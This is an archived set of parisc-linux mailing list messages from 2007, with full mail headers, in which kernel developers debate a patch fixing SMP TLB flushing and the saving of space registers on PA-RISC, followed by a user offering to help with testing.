Original-Received: by 10.114.122.2 with SMTP id u2mr398519wac.1172582942242;
	Tue, 27 Feb 2007 05:29:02 -0800 (PST)
Original-Received: by 10.115.76.4 with HTTP; Tue, 27 Feb 2007 05:29:02 -0800 (PST)
In-Reply-To: <20070227131625.GB3545@athena.road.mcmartin.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: GQDdfeUuYW0+6buGbmZpnk50amthc1ss
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24402

--===============0047801297==
Content-Type: multipart/alternative; 
	boundary="----=_Part_9538_6307435.1172582942197"

------=_Part_9538_6307435.1172582942197
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

On 2/27/07, Kyle McMartin <kyle@parisc-linux.org> wrote:
>
> On Tue, Feb 27, 2007 at 03:52:27PM +0530, ram wrote:
> >
>
> No. I will tell you when they are fixed. Please realize this is a
> volunteer
> effort, and your problem is extremely low priority.
>


Hi


yes i understand,

iam just trying to understand , is this possible to help people to
test and give input if i can, dont think that iam asking anything extra

since iam curious to install debian on HP Server and use this box for other
services.

thanks,  i will await for your responce
mean time let me know if iam usefull help anything for testing

ram

------=_Part_9538_6307435.1172582942197
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

<br><br>
<div><span class="gmail_quote">On 2/27/07, <b class="gmail_sendername">Kyle McMartin</b> &lt;<a href="mailto:kyle@parisc-linux.org">kyle@parisc-linux.org</a>&gt; wrote:</span>
<blockquote class="gmail_quote" style="PADDING-LEFT: 1ex; MARGIN: 0px 0px 0px 0.8ex; BORDER-LEFT: #ccc 1px solid">On Tue, Feb 27, 2007 at 03:52:27PM +0530, ram wrote:<br>&gt;<br><br>No. I will tell you when they are fixed. Please realize this is a volunteer
<br>effort, and your problem is extremely low priority.<br></blockquote></div>
<div><br>&nbsp;</div>
<div>Hi</div>
<div>&nbsp;</div>
<div>&nbsp;</div>
<div>yes i understand, </div>
<div>&nbsp;</div>
<div>iam just trying to understand , is this possible to help people to</div>
<div>test and give input if i can, dont think that iam asking anything extra</div>
<div>&nbsp;</div>
<div>since iam curious to install debian on HP Server and use this box for other services.</div>
<div>&nbsp;</div>
<div>thanks,&nbsp; i will await for your responce</div>
<div>mean time let me know if iam usefull help anything for testing</div>
<div>&nbsp;</div>
<div>ram</div>

------=_Part_9538_6307435.1172582942197--

--===============0047801297==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============0047801297==--



From - Thu Nov 08 21:35:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] fix SMP TLB optimisations
Date: Sat, 24 Feb 2007 19:27:19 -0600
Lines: 80
Approved: news@gmane.org
Message-ID: <1172366840.3401.31.camel__30062.8440025777$1416624314$gmane$org@mulgrave.il.steeleye.com>
References: <1172328689.3401.3.camel@mulgrave.il.steeleye.com>
	<20070225004603.GB18944@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624314 23084 80.91.229.3 (22 Nov 2014 02:45:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:14 +0000 (UTC)
Cc: Parisc List <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Feb 2007 01:27:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx048) with SMTP; 25 Feb 2007 02:27:53 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4ABC27DA77;
	Sat, 24 Feb 2007 18:27:50 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07135-08; Sat, 24 Feb 2007 18:27:50 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EF35C7DA79;
	Sat, 24 Feb 2007 18:27:47 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1F8DB7DA76
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Feb 2007 18:27:46 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07135-04 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Feb 2007 18:27:44 -0700 (MST)
Original-Received: from hancock.sc.steeleye.com (hancock.steeleye.com [71.30.118.248])
	by free.linux.hp.com (Postfix) with ESMTP id 1D8BD7DA75
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Feb 2007 18:27:44 -0700 (MST)
Original-Received: from [172.17.6.40] (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id l1P1RKx18339; 
	Sat, 24 Feb 2007 20:27:20 -0500
In-Reply-To: <20070225004603.GB18944@colo.lackof.org>
X-Mailer: Evolution 2.8.3 (2.8.3-1.fc6) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: KN/TfddaMmAp4bSZZGFnP7cxMjQ1N10L
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24403

On Sat, 2007-02-24 at 17:46 -0700, Grant Grundler wrote:
> Isn't sr3 part of the context?

It is the user context above the kernel, yes.

> ie if we need to change the sr3 for a given context shouldn't
> the code be modifying the value in the struct context instead

That's what tausq's change does.  It updates active_mm->context but then
it has to propagate the change on an SMP system, which is what the IPI
is supposed to do.

> the actual register unless we know we are in that context?

That's why the IPI checks current->active_mm against the mm being
changed.  If the CPU isn't executing in that context, nothing happens.
If it has, since we just changed mm->context, the new context gets
loaded into sr3, as it should be.

> The IPI code should know the sr3 was saved and where.

It does: in mm->context.

> The change to assembly.h has me very nervous since I don't understand it.
> You probably have it right and I'm being a bit dense.

Actually, I think it's pointless saving any space register for an
interrupt ... no interrupt should muck with the space registers since no
interrupt should ever be mucking with anything in user context ...
However, sr3 is special ... even if we get interrupts mucking with space
registers, they'll never touch sr3.

> I was trying to track down other uses of "mtsp sr3" and schedule()
> seems to be one:
> 	schedule() -> context_switch() -> switch_mm() -> load_context()
> 
> I'm not seeing where this path disables local interrupts.

It doesn't need to.  The IPI either updates sr3 or it doesn't.  The
load_context() will actually update it anyway, and sr3 isn't used until
the kernel accesses userspace, which is nowhere in that sequence, so
it's all quite safe.

> Sounds like it should before calling load_context() or we should
> in our switch_mm() or add a prepare_arch_switch() to asm-parisc/system.h.

Not really ... like I said, the IPI's effect will be known even if we're
beginning a context switch.

> >   As far as I can tell, this is pretty much only non local cache
> > flushing.
> 
> ISTR copy and one or two other places use sr3 as well.

No, pa_memcpy uses sr1 and sr2 ... it's only the non-local flushing that
uses sr3.

> > The following patch fixes the IPI to work (by not saving %sr3
> > across an interruption) and patches up temporary %sr3 usage.
> > 
> > The sharp eyed will also notice I've corrected a Protection ID bug with
> > the non current flushes.
> 
> That's not me :)
> Was the fix to place "pgd = mfctl(25)" after the local_irq_disable()?

No, it was changing the mtsp(xx, 3) to load_context(xx).  The problem is
that if we don't update %cr8 then the new context in sr3 is completely
ineffective since the protection IDs will mismatch in the TLBs, so, as
far as I can tell, the non local flush was never effective.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] fix SMP TLB optimisations
Date: Sat, 24 Feb 2007 23:27:44 -0500 (EST)
Lines: 16
Approved: news@gmane.org
Message-ID: <200702250427.l1P4RjGA029686__41479.9611703076$1416624314$gmane$org@hiauly1.hia.nrc.ca>
References: <1172366840.3401.31.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624314 23088 80.91.229.3 (22 Nov 2014 02:45:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James.Bottomley@SteelEye.com (James Bottomley)
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Feb 2007 04:27:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx094) with SMTP; 25 Feb 2007 05:27:57 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4BCE47DA5F;
	Sat, 24 Feb 2007 21:27:54 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07952-07; Sat, 24 Feb 2007 21:27:54 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1AFE67DA62;
	Sat, 24 Feb 2007 21:27:53 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CBAC87DA49
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Feb 2007 21:27:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07952-04 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Feb 2007 21:27:48 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 096747DA43
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Feb 2007 21:27:47 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l1P4RjsY029690;
	Sat, 24 Feb 2007 23:27:46 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l1P4RjGA029686;
	Sat, 24 Feb 2007 23:27:45 -0500 (EST)
In-Reply-To: <1172366840.3401.31.camel@mulgrave.il.steeleye.com> from "James
	Bottomley" at Feb 24, 2007 07:27:19 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: difUcdIGTiEt/ayUaGRw5cB1ZUVSRNe3
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24404

> Actually, I think it's pointless saving any space register for an
> interrupt ... no interrupt should muck with the space registers since no
> interrupt should ever be mucking with anything in user context ...

You have to watch out for "be,l" which mucks with sr0.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] fix SMP TLB optimisations
Date: Sun, 25 Feb 2007 08:47:32 -0600
Lines: 22
Approved: news@gmane.org
Message-ID: <1172414852.3423.6.camel__48887.5642572113$1416624314$gmane$org@mulgrave.il.steeleye.com>
References: <200702250427.l1P4RjGA029686@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624314 23091 80.91.229.3 (22 Nov 2014 02:45:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Feb 2007 14:48:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx085) with SMTP; 25 Feb 2007 15:48:11 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5F8957DA6B;
	Sun, 25 Feb 2007 07:48:05 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13546-05; Sun, 25 Feb 2007 07:48:05 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2A4697DA62;
	Sun, 25 Feb 2007 07:48:04 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6FD3D7DA5C
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Feb 2007 07:48:00 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13112-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Feb 2007 07:47:58 -0700 (MST)
Original-Received: from hancock.sc.steeleye.com (hancock.steeleye.com [71.30.118.248])
	by free.linux.hp.com (Postfix) with ESMTP id 717A57DA5B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Feb 2007 07:47:58 -0700 (MST)
Original-Received: from [172.17.6.40] (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id l1PElXx28999; 
	Sun, 25 Feb 2007 09:47:33 -0500
In-Reply-To: <200702250427.l1P4RjGA029686@hiauly1.hia.nrc.ca>
X-Mailer: Evolution 2.8.3 (2.8.3-1.fc6) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: k5PYcNkjeWU77beUfHVzK0M5U3U4Nw+M
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24405

On Sat, 2007-02-24 at 23:27 -0500, John David Anglin wrote:
> You have to watch out for "be,l" which mucks with sr0.

But practically, the kernel's not going to link to a new space, and the
user can't.

But the point isn't that we might change them ... it's that by
convention we always know what their values should be, so we didn't
really need to save them (except sr1 and sr2 from the kernel).  And
actually, that's a potential (but I suspect never seen) bug in that this
code doesn't set the space registers aggressively enough for a trap from
user context.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] fix SMP TLB optimisations
Date: Sun, 25 Feb 2007 12:04:50 -0500 (EST)
Lines: 45
Approved: news@gmane.org
Message-ID: <200702251704.l1PH4pUf023982__42740.5430622914$1416624315$gmane$org@hiauly1.hia.nrc.ca>
References: <1172414852.3423.6.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624315 23299 80.91.229.3 (22 Nov 2014 02:45:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James.Bottomley@SteelEye.com (James Bottomley)
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Feb 2007 17:17:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx096) with SMTP; 25 Feb 2007 18:17:42 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 471367DA88;
	Sun, 25 Feb 2007 10:17:40 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14814-07; Sun, 25 Feb 2007 10:17:40 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 83FF47DA84;
	Sun, 25 Feb 2007 10:17:37 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D838A7DA7A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Feb 2007 10:17:33 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14620-09 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Feb 2007 10:17:32 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 207CE7DA6A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Feb 2007 10:17:32 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l1PHHU3M026730;
	Sun, 25 Feb 2007 12:17:31 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l1PH4pUf023982;
	Sun, 25 Feb 2007 12:04:51 -0500 (EST)
In-Reply-To: <1172414852.3423.6.camel@mulgrave.il.steeleye.com> from "James
	Bottomley" at Feb 25, 2007 08:47:32 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: hPLUdJQGbUkosOnGPWgnMfVkZ2hlN8rr
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24406

> On Sat, 2007-02-24 at 23:27 -0500, John David Anglin wrote:
> > You have to watch out for "be,l" which mucks with sr0.
> 
> But practically, the kernel's not going to link to a new space, and the
> user can't.

>>>From a hardware standpoint, the user can change sr0 through sr4.
Changing sr4 in user space isn't going to work.  However,
in the 32-bit hpux runtime, the user is free to change sr0 through
sr3 in whatever way they want.  At least at one time, there
was a desire to provide hpux runtime compatibility.  So, a branch
sequence like the following

	ldsid (%r1),%r31
	mtps %r31,%sr3
	be 0(%sr3,%r1)

should work in linux even if it's not efficient.  I picked sr3
in the example since it's no longer saved on interrupts with your
patch.  The branch will work if the kernel restores on interrupt
return the value used in sr4 through sr7.  However, then the user
can't use sr3 for any other purpose.

> But the point isn't that we might change them ... it's that by
> convention we always know what their values should be, so we didn't
> really need to save them (except sr1 and sr2 from the kernel).  And
> actually, that's a potential (but I suspect never seen) bug in that this
> code doesn't set the space registers aggressively enough for a trap from
> user context.

I don't see how the kernel can know what should be in sr0 through sr3,
and I think the user can use these registers for any purpose in the
32-bit runtime.  In wide mode, things are different as the OS is allowed
to change the space registers at any time (see note for ldsid insn).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] fix SMP TLB optimisations
Date: Sun, 25 Feb 2007 11:41:08 -0600
Lines: 63
Approved: news@gmane.org
Message-ID: <1172425268.3423.18.camel__41646.2061730728$1416624315$gmane$org@mulgrave.il.steeleye.com>
References: <200702251704.l1PH4pUf023982@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624315 23354 80.91.229.3 (22 Nov 2014 02:45:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Feb 2007 17:41:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx093) with SMTP; 25 Feb 2007 18:41:26 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B93937DA84;
